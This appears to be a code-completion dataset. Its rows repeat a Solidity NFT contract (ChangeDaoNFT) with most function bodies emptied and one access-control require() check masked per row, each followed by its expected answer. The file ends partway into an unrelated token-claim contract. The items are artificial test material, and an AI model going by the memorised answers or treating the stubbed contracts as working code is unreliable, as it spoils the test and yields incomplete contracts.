/* ============== Initialize ============== */
/**
* @notice Initializes the changeDaoNFTClone.
* @dev _movementName, _projectName and _creators are all emitted and indexed offchain as project metadata.
* @dev Only callable by ChangeDaoNFTFactory.
* @param _changeMaker Address of the changeMaker that is making the project
* @param _changeDaoNFTImplementation ChangeDaoNFTImplementation address
* @param _movementName Movement with which the project is associated
* @param _projectName Project name
* @param _creators Array of addresses associated with the creation of the project
* @param baseURI_ Base URI
*/
function initialize(
address _changeMaker,
IChangeDaoNFT _changeDaoNFTImplementation,
string calldata _movementName,
string calldata _projectName,
address[] calldata _creators,
string memory baseURI_
) external override initializer {
}
/* ============== Mint Function ============== */
/**
* @dev This function can only be called by the funding clone associated with this changeDaoNFT clone. For the initial version of ChangeDao, all funding clones will be clones of SharedFunding.sol, but future versions will allow for other types of funding implementations.
* @param _tokenId ERC721 token id
* @param _owner Address that will be the token owner
*/
function mint(uint256 _tokenId, address _owner) external override {
}
/* ============== Getter Functions ============== */
/**
* @notice Returns URI for a specified token. If the token id exists, returns the base URI appended with the token id.
* @param _tokenId Token owner
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, IChangeDaoNFT)
returns (string memory)
{
}
/**
* @notice Returns baseURI;
*/
function _baseURI() internal view override returns (string memory) {
}
/* ============== NFT Configuration Functions--Clone ============== */
/**
* @notice ChangeMaker sets base URI
* @dev Any string over 32 bytes will be emitted as a hash of the string
* @dev Only callable on clones, not the implementation contract
* @param _newBaseURI New baseURI
*/
function setBaseURI(string memory _newBaseURI)
public
override
onlyChangeMaker
{
}
/**
* @notice The Controller contract sets the address of the funding clone that will call mint()
* @dev The funding clone address can only be set once.
* @param _fundingClone fundingClone address
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker creating the fundingPSClone
*/
function setFundingClone(
address _fundingClone,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/**
* @dev This function is called by the controller when a changeMaker creates a new royaltiesPSClone.
* @param _receiver Address that receives royalties
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker
*/
function setDefaultRoyalty(
IPaymentSplitter _receiver,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/* ============== NFT Configuration Functions--Implementation ============== */
/**
* @dev ChangeDao admin sets the feeNumerator for royalty amount per sale. feeNumerator is in basis points: 1000 = 10%.
* @dev The function can only be called on the implementation contract.
* @param _feeNumerator Royalty amount per sale
*/
function setFeeNumerator(uint96 _feeNumerator) external override onlyOwner {
}
/* ============ ERC721 Modifications for OpenSea Royalties Compliance ============= */
function setApprovalForAll(address _operator, bool _approved)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function approve(address _operator, uint256 _tokenId)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) public override onlyAllowedOperator(_from) {
}
/* ============== Contract Address Setter Functions ============== */
/**
* @notice Sets address for the ChangeDaoNFTFactory contract
* @dev ChangeDao admin sets the ChangeDaoNFTFactory address before ChangeDaoNFT is used as the implementation contract for clones. The ChangeDaoNFTFactory address is used for a security check so that only the ChangeDaoNFTFactory can make use of the ChangeDaoNFT contract as an implementation contract.
* @dev The function can only be called on the implementation contract.
* @param _changeDaoNFTFactory ChangeDaoNFTFactory address
*/
function setChangeDaoNFTFactory(IChangeDaoNFTFactory _changeDaoNFTFactory)
external
override
onlyOwner
{
}
/**
* @notice Sets address for the Controller contract
* @dev The function can only be called on the implementation contract.
* @param _controller Controller address
*/
/**@notice Sets address for the Controller contract*/
function setController(IController _controller)
external
override
onlyOwner
{
}
}
| _msgSender()==changeMaker,"NFT: ChangeMaker must be caller" | 434,319 | _msgSender()==changeMaker |
"NFT: Factory must be caller" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import {DefaultOperatorFiltererUpgradeable} from "operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol";
import "../interfaces/IChangeDaoNFT.sol";
/**
* @title ChangeDaoNFT
* @author ChangeDao
* @notice Implementation contract for clones created with ChangeDaoNFTFactory
* @dev NOTE THE FOLLOWING USE OF THE OWNER PROPERTY:
* @dev In the implementation contract, onlyOwner provides access control for the ChangeDao admin.
* @dev In the clone contract, onlyOwner provides access control for the changeMaker.
* @dev This change in onlyOwner allows for the clones to have an owner property that some market places use for authentication.
*/
contract ChangeDaoNFT is
IChangeDaoNFT,
ERC721Royalty,
DefaultOperatorFiltererUpgradeable,
Ownable
{
/* ============== Libraries ============== */
using Strings for uint256;
/* ============== State Variables ============== */
/// Implementation variables
uint96 public override feeNumerator;
IChangeDaoNFTFactory public override changeDaoNFTFactory;
IController public override controller;
/// Clone variables
IChangeDaoNFT public override changeDaoNFTImplementation;
address public override changeMaker;
bool public override hasSetFundingClone;
string public override baseURI;
address public override fundingClone; // Needs to be address type!
/* ============== Modifier ============== */
/**
* @dev onlyChangeMaker provides access control for the changeMaker in a clone.
*/
modifier onlyChangeMaker() {
}
/* ============== Constructor ============== */
/**
* @notice Sets ERC721 name and symbol
* @dev Prevents initialize() from being called on the implementation contract
*/
constructor() ERC721("ChangeDAO.eth", "CHANGEDAO") initializer {}
/* ============== Initialize ============== */
/**
* @notice Initializes the changeDaoNFTClone.
* @dev _movementName, _projectName and _creators are all emitted and indexed offchain as project metadata.
* @dev Only callable by ChangeDaoNFTFactory.
* @param _changeMaker Address of the changeMaker that is making the project
* @param _changeDaoNFTImplementation ChangeDaoNFTImplementation address
* @param _movementName Movement with which the project is associated
* @param _projectName Project name
* @param _creators Array of addresses associated with the creation of the project
* @param baseURI_ Base URI
*/
function initialize(
address _changeMaker,
IChangeDaoNFT _changeDaoNFTImplementation,
string calldata _movementName,
string calldata _projectName,
address[] calldata _creators,
string memory baseURI_
) external override initializer {
/** The clone calls its implementation contract to retrieve the address for the changeDaoNFTFactory. This needs to match the msgSender to prove that the call came from the factory. This prevents other factories from using ChangeDaoNFT.sol to create clones.*/
require(<FILL_ME>)
changeMaker = _changeMaker;
baseURI = baseURI_;
changeDaoNFTImplementation = _changeDaoNFTImplementation;
_transferOwnership(_changeMaker);
/**Subscribes to OpenSea's list of filtered operators and codehashes. The token contract owner may modify this list. However, royalties on the OpenSea exchange will only be enforced if, at a minimum, the operators and codehashes in OpenSea's list are filtered.*/
__DefaultOperatorFilterer_init();
emit ChangeDaoNFTInitialized(
_changeMaker,
_changeDaoNFTImplementation,
IChangeDaoNFT(this),
_movementName,
_projectName,
baseURI_
);
for (uint256 i; i < _creators.length; i++) {
emit CreatorRegistered(_creators[i]);
}
}
/* ============== Mint Function ============== */
/**
* @dev This function can only be called by the funding clone associated with this changeDaoNFT clone. For the initial version of ChangeDao, all funding clones will be clones of SharedFunding.sol, but future versions will allow for other types of funding implementations.
* @param _tokenId ERC721 token id
* @param _owner Address that will be the token owner
*/
function mint(uint256 _tokenId, address _owner) external override {
}
/* ============== Getter Functions ============== */
/**
* @notice Returns URI for a specified token. If the token id exists, returns the base URI appended with the token id.
* @param _tokenId Token owner
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, IChangeDaoNFT)
returns (string memory)
{
}
/**
* @notice Returns baseURI;
*/
function _baseURI() internal view override returns (string memory) {
}
/* ============== NFT Configuration Functions--Clone ============== */
/**
* @notice ChangeMaker sets base URI
* @dev Any string over 32 bytes will be emitted as a hash of the string
* @dev Only callable on clones, not the implementation contract
* @param _newBaseURI New baseURI
*/
function setBaseURI(string memory _newBaseURI)
public
override
onlyChangeMaker
{
}
/**
* @notice The Controller contract sets the address of the funding clone that will call mint()
* @dev The funding clone address can only be set once.
* @param _fundingClone fundingClone address
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker creating the fundingPSClone
*/
function setFundingClone(
address _fundingClone,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/**
* @dev This function is called by the controller when a changeMaker creates a new royaltiesPSClone.
* @param _receiver Address that receives royalties
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker
*/
function setDefaultRoyalty(
IPaymentSplitter _receiver,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/* ============== NFT Configuration Functions--Implementation ============== */
/**
* @dev ChangeDao admin sets the feeNumerator for royalty amount per sale. feeNumerator is in basis points: 1000 = 10%.
* @dev The function can only be called on the implementation contract.
* @param _feeNumerator Royalty amount per sale
*/
function setFeeNumerator(uint96 _feeNumerator) external override onlyOwner {
}
/* ============ ERC721 Modifications for OpenSea Royalties Compliance ============= */
function setApprovalForAll(address _operator, bool _approved)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function approve(address _operator, uint256 _tokenId)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) public override onlyAllowedOperator(_from) {
}
/* ============== Contract Address Setter Functions ============== */
/**
* @notice Sets address for the ChangeDaoNFTFactory contract
* @dev ChangeDao admin sets the ChangeDaoNFTFactory address before ChangeDaoNFT is used as the implementation contract for clones. The ChangeDaoNFTFactory address is used for a security check so that only the ChangeDaoNFTFactory can make use of the ChangeDaoNFT contract as an implementation contract.
* @dev The function can only be called on the implementation contract.
* @param _changeDaoNFTFactory ChangeDaoNFTFactory address
*/
function setChangeDaoNFTFactory(IChangeDaoNFTFactory _changeDaoNFTFactory)
external
override
onlyOwner
{
}
/**
* @notice Sets address for the Controller contract
* @dev The function can only be called on the implementation contract.
* @param _controller Controller address
*/
/**@notice Sets address for the Controller contract*/
function setController(IController _controller)
external
override
onlyOwner
{
}
}
| _msgSender()==address(_changeDaoNFTImplementation.changeDaoNFTFactory()),"NFT: Factory must be caller" | 434,319 | _msgSender()==address(_changeDaoNFTImplementation.changeDaoNFTFactory()) |
"NFT: Call is not from funding clone" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import {DefaultOperatorFiltererUpgradeable} from "operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol";
import "../interfaces/IChangeDaoNFT.sol";
/**
* @title ChangeDaoNFT
* @author ChangeDao
* @notice Implementation contract for clones created with ChangeDaoNFTFactory
* @dev NOTE THE FOLLOWING USE OF THE OWNER PROPERTY:
* @dev In the implementation contract, onlyOwner provides access control for the ChangeDao admin.
* @dev In the clone contract, onlyOwner provides access control for the changeMaker.
* @dev This change in onlyOwner allows for the clones to have an owner property that some market places use for authentication.
*/
contract ChangeDaoNFT is
IChangeDaoNFT,
ERC721Royalty,
DefaultOperatorFiltererUpgradeable,
Ownable
{
/* ============== Libraries ============== */
using Strings for uint256;
/* ============== State Variables ============== */
/// Implementation variables
uint96 public override feeNumerator;
IChangeDaoNFTFactory public override changeDaoNFTFactory;
IController public override controller;
/// Clone variables
IChangeDaoNFT public override changeDaoNFTImplementation;
address public override changeMaker;
bool public override hasSetFundingClone;
string public override baseURI;
address public override fundingClone; // Needs to be address type!
/* ============== Modifier ============== */
/**
* @dev onlyChangeMaker provides access control for the changeMaker in a clone.
*/
modifier onlyChangeMaker() {
}
/* ============== Constructor ============== */
/**
* @notice Sets ERC721 name and symbol
* @dev Prevents initialize() from being called on the implementation contract
*/
constructor() ERC721("ChangeDAO.eth", "CHANGEDAO") initializer {}
/* ============== Initialize ============== */
/**
* @notice Initializes the changeDaoNFTClone.
* @dev _movementName, _projectName and _creators are all emitted and indexed offchain as project metadata.
* @dev Only callable by ChangeDaoNFTFactory.
* @param _changeMaker Address of the changeMaker that is making the project
* @param _changeDaoNFTImplementation ChangeDaoNFTImplementation address
* @param _movementName Movement with which the project is associated
* @param _projectName Project name
* @param _creators Array of addresses associated with the creation of the project
* @param baseURI_ Base URI
*/
function initialize(
address _changeMaker,
IChangeDaoNFT _changeDaoNFTImplementation,
string calldata _movementName,
string calldata _projectName,
address[] calldata _creators,
string memory baseURI_
) external override initializer {
}
/* ============== Mint Function ============== */
/**
* @dev This function can only be called by the funding clone associated with this changeDaoNFT clone. For the initial version of ChangeDao, all funding clones will be clones of SharedFunding.sol, but future versions will allow for other types of funding implementations.
* @param _tokenId ERC721 token id
* @param _owner Address that will be the token owner
*/
function mint(uint256 _tokenId, address _owner) external override {
require(<FILL_ME>)
_safeMint(_owner, _tokenId);
}
/* ============== Getter Functions ============== */
/**
* @notice Returns URI for a specified token. If the token id exists, returns the base URI appended with the token id.
* @param _tokenId Token owner
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, IChangeDaoNFT)
returns (string memory)
{
}
/**
* @notice Returns baseURI;
*/
function _baseURI() internal view override returns (string memory) {
}
/* ============== NFT Configuration Functions--Clone ============== */
/**
* @notice ChangeMaker sets base URI
* @dev Any string over 32 bytes will be emitted as a hash of the string
* @dev Only callable on clones, not the implementation contract
* @param _newBaseURI New baseURI
*/
function setBaseURI(string memory _newBaseURI)
public
override
onlyChangeMaker
{
}
/**
* @notice The Controller contract sets the address of the funding clone that will call mint()
* @dev The funding clone address can only be set once.
* @param _fundingClone fundingClone address
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker creating the fundingPSClone
*/
function setFundingClone(
address _fundingClone,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/**
* @dev This function is called by the controller when a changeMaker creates a new royaltiesPSClone.
* @param _receiver Address that receives royalties
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker
*/
function setDefaultRoyalty(
IPaymentSplitter _receiver,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/* ============== NFT Configuration Functions--Implementation ============== */
/**
* @dev ChangeDao admin sets the feeNumerator for royalty amount per sale. feeNumerator is in basis points: 1000 = 10%.
* @dev The function can only be called on the implementation contract.
* @param _feeNumerator Royalty amount per sale
*/
function setFeeNumerator(uint96 _feeNumerator) external override onlyOwner {
}
/* ============ ERC721 Modifications for OpenSea Royalties Compliance ============= */
function setApprovalForAll(address _operator, bool _approved)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function approve(address _operator, uint256 _tokenId)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) public override onlyAllowedOperator(_from) {
}
/* ============== Contract Address Setter Functions ============== */
/**
* @notice Sets address for the ChangeDaoNFTFactory contract
* @dev ChangeDao admin sets the ChangeDaoNFTFactory address before ChangeDaoNFT is used as the implementation contract for clones. The ChangeDaoNFTFactory address is used for a security check so that only the ChangeDaoNFTFactory can make use of the ChangeDaoNFT contract as an implementation contract.
* @dev The function can only be called on the implementation contract.
* @param _changeDaoNFTFactory ChangeDaoNFTFactory address
*/
function setChangeDaoNFTFactory(IChangeDaoNFTFactory _changeDaoNFTFactory)
external
override
onlyOwner
{
}
/**
* @notice Sets address for the Controller contract
* @dev The function can only be called on the implementation contract.
* @param _controller Controller address
*/
/**@notice Sets address for the Controller contract*/
function setController(IController _controller)
external
override
onlyOwner
{
}
}
| _msgSender()==fundingClone,"NFT: Call is not from funding clone" | 434,319 | _msgSender()==fundingClone |
"NFT: Controller must be caller" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import {DefaultOperatorFiltererUpgradeable} from "operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol";
import "../interfaces/IChangeDaoNFT.sol";
/**
* @title ChangeDaoNFT
* @author ChangeDao
* @notice Implementation contract for clones created with ChangeDaoNFTFactory
* @dev NOTE THE FOLLOWING USE OF THE OWNER PROPERTY:
* @dev In the implementation contract, onlyOwner provides access control for the ChangeDao admin.
* @dev In the clone contract, onlyOwner provides access control for the changeMaker.
* @dev This change in onlyOwner allows for the clones to have an owner property that some market places use for authentication.
*/
contract ChangeDaoNFT is
IChangeDaoNFT,
ERC721Royalty,
DefaultOperatorFiltererUpgradeable,
Ownable
{
/* ============== Libraries ============== */
using Strings for uint256;
/* ============== State Variables ============== */
/// Implementation variables
uint96 public override feeNumerator;
IChangeDaoNFTFactory public override changeDaoNFTFactory;
IController public override controller;
/// Clone variables
IChangeDaoNFT public override changeDaoNFTImplementation;
address public override changeMaker;
bool public override hasSetFundingClone;
string public override baseURI;
address public override fundingClone; // Needs to be address type!
/* ============== Modifier ============== */
/**
* @dev onlyChangeMaker provides access control for the changeMaker in a clone.
*/
modifier onlyChangeMaker() {
}
/* ============== Constructor ============== */
/**
* @notice Sets ERC721 name and symbol
* @dev Prevents initialize() from being called on the implementation contract
*/
constructor() ERC721("ChangeDAO.eth", "CHANGEDAO") initializer {}
/* ============== Initialize ============== */
/**
* @notice Initializes the changeDaoNFTClone.
* @dev _movementName, _projectName and _creators are all emitted and indexed offchain as project metadata.
* @dev Only callable by ChangeDaoNFTFactory.
* @param _changeMaker Address of the changeMaker that is making the project
* @param _changeDaoNFTImplementation ChangeDaoNFTImplementation address
* @param _movementName Movement with which the project is associated
* @param _projectName Project name
* @param _creators Array of addresses associated with the creation of the project
* @param baseURI_ Base URI
*/
function initialize(
address _changeMaker,
IChangeDaoNFT _changeDaoNFTImplementation,
string calldata _movementName,
string calldata _projectName,
address[] calldata _creators,
string memory baseURI_
) external override initializer {
}
/* ============== Mint Function ============== */
/**
* @dev This function can only be called by the funding clone associated with this changeDaoNFT clone. For the initial version of ChangeDao, all funding clones will be clones of SharedFunding.sol, but future versions will allow for other types of funding implementations.
* @param _tokenId ERC721 token id
* @param _owner Address that will be the token owner
*/
function mint(uint256 _tokenId, address _owner) external override {
}
/* ============== Getter Functions ============== */
/**
* @notice Returns URI for a specified token. If the token id exists, returns the base URI appended with the token id.
* @param _tokenId Token owner
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, IChangeDaoNFT)
returns (string memory)
{
}
/**
* @notice Returns baseURI;
*/
function _baseURI() internal view override returns (string memory) {
}
/* ============== NFT Configuration Functions--Clone ============== */
/**
* @notice ChangeMaker sets base URI
* @dev Any string over 32 bytes will be emitted as a hash of the string
* @dev Only callable on clones, not the implementation contract
* @param _newBaseURI New baseURI
*/
function setBaseURI(string memory _newBaseURI)
public
override
onlyChangeMaker
{
}
/**
* @notice The Controller contract sets the address of the funding clone that will call mint()
* @dev The funding clone address can only be set once.
* @param _fundingClone fundingClone address
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker creating the fundingPSClone
*/
function setFundingClone(
address _fundingClone,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
require(<FILL_ME>)
require(
_changeDaoNFTClone == IChangeDaoNFT(this),
"NFT: Wrong changeDaoNFTClone"
);
require(_changeMaker == changeMaker, "NFT: Wrong changeMaker");
require(
_fundingClone != address(0x0),
"NFT: Cannot set to zero address"
);
require(!hasSetFundingClone, "NFT: Funding clone already set");
hasSetFundingClone = true;
fundingClone = _fundingClone;
emit FundingCloneSet(_fundingClone);
}
/**
* @dev This function is called by the controller when a changeMaker creates a new royaltiesPSClone.
* @param _receiver Address that receives royalties
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker
*/
function setDefaultRoyalty(
IPaymentSplitter _receiver,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/* ============== NFT Configuration Functions--Implementation ============== */
/**
* @dev ChangeDao admin sets the feeNumerator for royalty amount per sale. feeNumerator is in basis points: 1000 = 10%.
* @dev The function can only be called on the implementation contract.
* @param _feeNumerator Royalty amount per sale
*/
function setFeeNumerator(uint96 _feeNumerator) external override onlyOwner {
}
/* ============ ERC721 Modifications for OpenSea Royalties Compliance ============= */
function setApprovalForAll(address _operator, bool _approved)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function approve(address _operator, uint256 _tokenId)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) public override onlyAllowedOperator(_from) {
}
/* ============== Contract Address Setter Functions ============== */
/**
* @notice Sets address for the ChangeDaoNFTFactory contract
* @dev ChangeDao admin sets the ChangeDaoNFTFactory address before ChangeDaoNFT is used as the implementation contract for clones. The ChangeDaoNFTFactory address is used for a security check so that only the ChangeDaoNFTFactory can make use of the ChangeDaoNFT contract as an implementation contract.
* @dev The function can only be called on the implementation contract.
* @param _changeDaoNFTFactory ChangeDaoNFTFactory address
*/
function setChangeDaoNFTFactory(IChangeDaoNFTFactory _changeDaoNFTFactory)
external
override
onlyOwner
{
}
/**
* @notice Sets address for the Controller contract
* @dev The function can only be called on the implementation contract.
* @param _controller Controller address
*/
/**@notice Sets address for the Controller contract*/
function setController(IController _controller)
external
override
onlyOwner
{
}
}
| _msgSender()==address(changeDaoNFTImplementation.controller()),"NFT: Controller must be caller" | 434,319 | _msgSender()==address(changeDaoNFTImplementation.controller()) |
"NFT: Funding clone already set" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import {DefaultOperatorFiltererUpgradeable} from "operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol";
import "../interfaces/IChangeDaoNFT.sol";
/**
* @title ChangeDaoNFT
* @author ChangeDao
* @notice Implementation contract for clones created with ChangeDaoNFTFactory
* @dev NOTE THE FOLLOWING USE OF THE OWNER PROPERTY:
* @dev In the implementation contract, onlyOwner provides access control for the ChangeDao admin.
* @dev In the clone contract, onlyOwner provides access control for the changeMaker.
* @dev This change in onlyOwner allows for the clones to have an owner property that some market places use for authentication.
*/
contract ChangeDaoNFT is
IChangeDaoNFT,
ERC721Royalty,
DefaultOperatorFiltererUpgradeable,
Ownable
{
/* ============== Libraries ============== */
using Strings for uint256;
/* ============== State Variables ============== */
/// Implementation variables
uint96 public override feeNumerator;
IChangeDaoNFTFactory public override changeDaoNFTFactory;
IController public override controller;
/// Clone variables
IChangeDaoNFT public override changeDaoNFTImplementation;
address public override changeMaker;
bool public override hasSetFundingClone;
string public override baseURI;
address public override fundingClone; // Needs to be address type!
/* ============== Modifier ============== */
/**
* @dev onlyChangeMaker provides access control for the changeMaker in a clone.
*/
modifier onlyChangeMaker() {
}
/* ============== Constructor ============== */
/**
* @notice Sets ERC721 name and symbol
* @dev Prevents initialize() from being called on the implementation contract
*/
constructor() ERC721("ChangeDAO.eth", "CHANGEDAO") initializer {}
/* ============== Initialize ============== */
/**
* @notice Initializes the changeDaoNFTClone.
* @dev _movementName, _projectName and _creators are all emitted and indexed offchain as project metadata.
* @dev Only callable by ChangeDaoNFTFactory.
* @param _changeMaker Address of the changeMaker that is making the project
* @param _changeDaoNFTImplementation ChangeDaoNFTImplementation address
* @param _movementName Movement with which the project is associated
* @param _projectName Project name
* @param _creators Array of addresses associated with the creation of the project
* @param baseURI_ Base URI
*/
function initialize(
address _changeMaker,
IChangeDaoNFT _changeDaoNFTImplementation,
string calldata _movementName,
string calldata _projectName,
address[] calldata _creators,
string memory baseURI_
) external override initializer {
}
/* ============== Mint Function ============== */
/**
* @dev This function can only be called by the funding clone associated with this changeDaoNFT clone. For the initial version of ChangeDao, all funding clones will be clones of SharedFunding.sol, but future versions will allow for other types of funding implementations.
* @param _tokenId ERC721 token id
* @param _owner Address that will be the token owner
*/
function mint(uint256 _tokenId, address _owner) external override {
}
/* ============== Getter Functions ============== */
/**
* @notice Returns URI for a specified token. If the token id exists, returns the base URI appended with the token id.
* @param _tokenId Token owner
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, IChangeDaoNFT)
returns (string memory)
{
}
/**
* @notice Returns baseURI;
*/
function _baseURI() internal view override returns (string memory) {
}
/* ============== NFT Configuration Functions--Clone ============== */
/**
* @notice ChangeMaker sets base URI
* @dev Any string over 32 bytes will be emitted as a hash of the string
* @dev Only callable on clones, not the implementation contract
* @param _newBaseURI New baseURI
*/
function setBaseURI(string memory _newBaseURI)
public
override
onlyChangeMaker
{
}
/**
* @notice The Controller contract sets the address of the funding clone that will call mint()
* @dev The funding clone address can only be set once.
* @param _fundingClone fundingClone address
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker creating the fundingPSClone
*/
function setFundingClone(
address _fundingClone,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
require(
_msgSender() == address(changeDaoNFTImplementation.controller()),
"NFT: Controller must be caller"
);
require(
_changeDaoNFTClone == IChangeDaoNFT(this),
"NFT: Wrong changeDaoNFTClone"
);
require(_changeMaker == changeMaker, "NFT: Wrong changeMaker");
require(
_fundingClone != address(0x0),
"NFT: Cannot set to zero address"
);
require(<FILL_ME>)
hasSetFundingClone = true;
fundingClone = _fundingClone;
emit FundingCloneSet(_fundingClone);
}
/**
* @dev This function is called by the controller when a changeMaker creates a new royaltiesPSClone.
* @param _receiver Address that receives royalties
* @param _changeDaoNFTClone changeDaoNFTClone address
* @param _changeMaker Address of the changeMaker
*/
function setDefaultRoyalty(
IPaymentSplitter _receiver,
IChangeDaoNFT _changeDaoNFTClone,
address _changeMaker
) external override {
}
/* ============== NFT Configuration Functions--Implementation ============== */
/**
* @dev ChangeDao admin sets the feeNumerator for royalty amount per sale. feeNumerator is in basis points: 1000 = 10%.
* @dev The function can only be called on the implementation contract.
* @param _feeNumerator Royalty amount per sale
*/
function setFeeNumerator(uint96 _feeNumerator) external override onlyOwner {
}
/* ============ ERC721 Modifications for OpenSea Royalties Compliance ============= */
function setApprovalForAll(address _operator, bool _approved)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function approve(address _operator, uint256 _tokenId)
public
override
onlyAllowedOperatorApproval(_operator)
{
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) public override onlyAllowedOperator(_from) {
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) public override onlyAllowedOperator(_from) {
}
/* ============== Contract Address Setter Functions ============== */
/**
* @notice Sets address for the ChangeDaoNFTFactory contract
* @dev ChangeDao admin sets the ChangeDaoNFTFactory address before ChangeDaoNFT is used as the implementation contract for clones. The ChangeDaoNFTFactory address is used for a security check so that only the ChangeDaoNFTFactory can make use of the ChangeDaoNFT contract as an implementation contract.
* @dev The function can only be called on the implementation contract.
* @param _changeDaoNFTFactory ChangeDaoNFTFactory address
*/
function setChangeDaoNFTFactory(IChangeDaoNFTFactory _changeDaoNFTFactory)
external
override
onlyOwner
{
}
/**
* @notice Sets address for the Controller contract
* @dev The function can only be called on the implementation contract.
* @param _controller Controller address
*/
/**@notice Sets address for the Controller contract*/
function setController(IController _controller)
external
override
onlyOwner
{
}
}
| !hasSetFundingClone,"NFT: Funding clone already set" | 434,319 | !hasSetFundingClone |
"Invalid signature" | pragma solidity ^0.8.0;
/**
* @title EZSwap Token Contract
* @dev ERC20 Token with a capped supply and claimable functionality based on signatures.
*/
contract EZSwapToken is ERC20, Ownable {
using ECDSA for bytes32;
address public claimSigner; // The address authorized to sign claim messages.
address public devAddress; // The developer's address for initial token allocation and sweeping unclaimed tokens.
mapping(address => bool) public claimed; // Tracks whether an address has already claimed tokens.
uint256 public deadline; // The block number after which no more tokens can be claimed.
bool private devMinted = false; // Ensures the initial minting for the developer can only happen once.
// Constants
uint256 public constant DEV_SUPPLY = 900000000 * 10 ** 18; // 900,000,000 EZT for the developer.
uint256 public constant MAX_SUPPLY = 1000000000 * 10 ** 18; // The total cap of 1 Billion EZT.
/**
* @dev Constructor for EZSwap initializing the token, roles, and supply.
* @param _signer The address allowed to sign claim messages.
* @param _devAddress The address of the developer for initial minting.
* @param _deadline The block number after which no more tokens can be claimed.
*/
constructor(
address _signer,
address _devAddress,
uint256 _deadline
) ERC20("EZ", "EZ") Ownable(msg.sender) {
}
/**
* @dev Internal function to validate if the provided signature matches the expected signer.
* @param signature The provided signature to verify.
* @param msgHash The hash of the original message that was signed.
* @return bool Returns true if the signature is valid and from the expected signer.
*/
function _validSignature(
bytes memory signature,
bytes32 msgHash
) internal view returns (bool) {
}
/**
* @dev Allows users to claim tokens if they have a valid signature.
* @param user The address of the user claiming tokens.
* @param amount The amount of tokens being claimed.
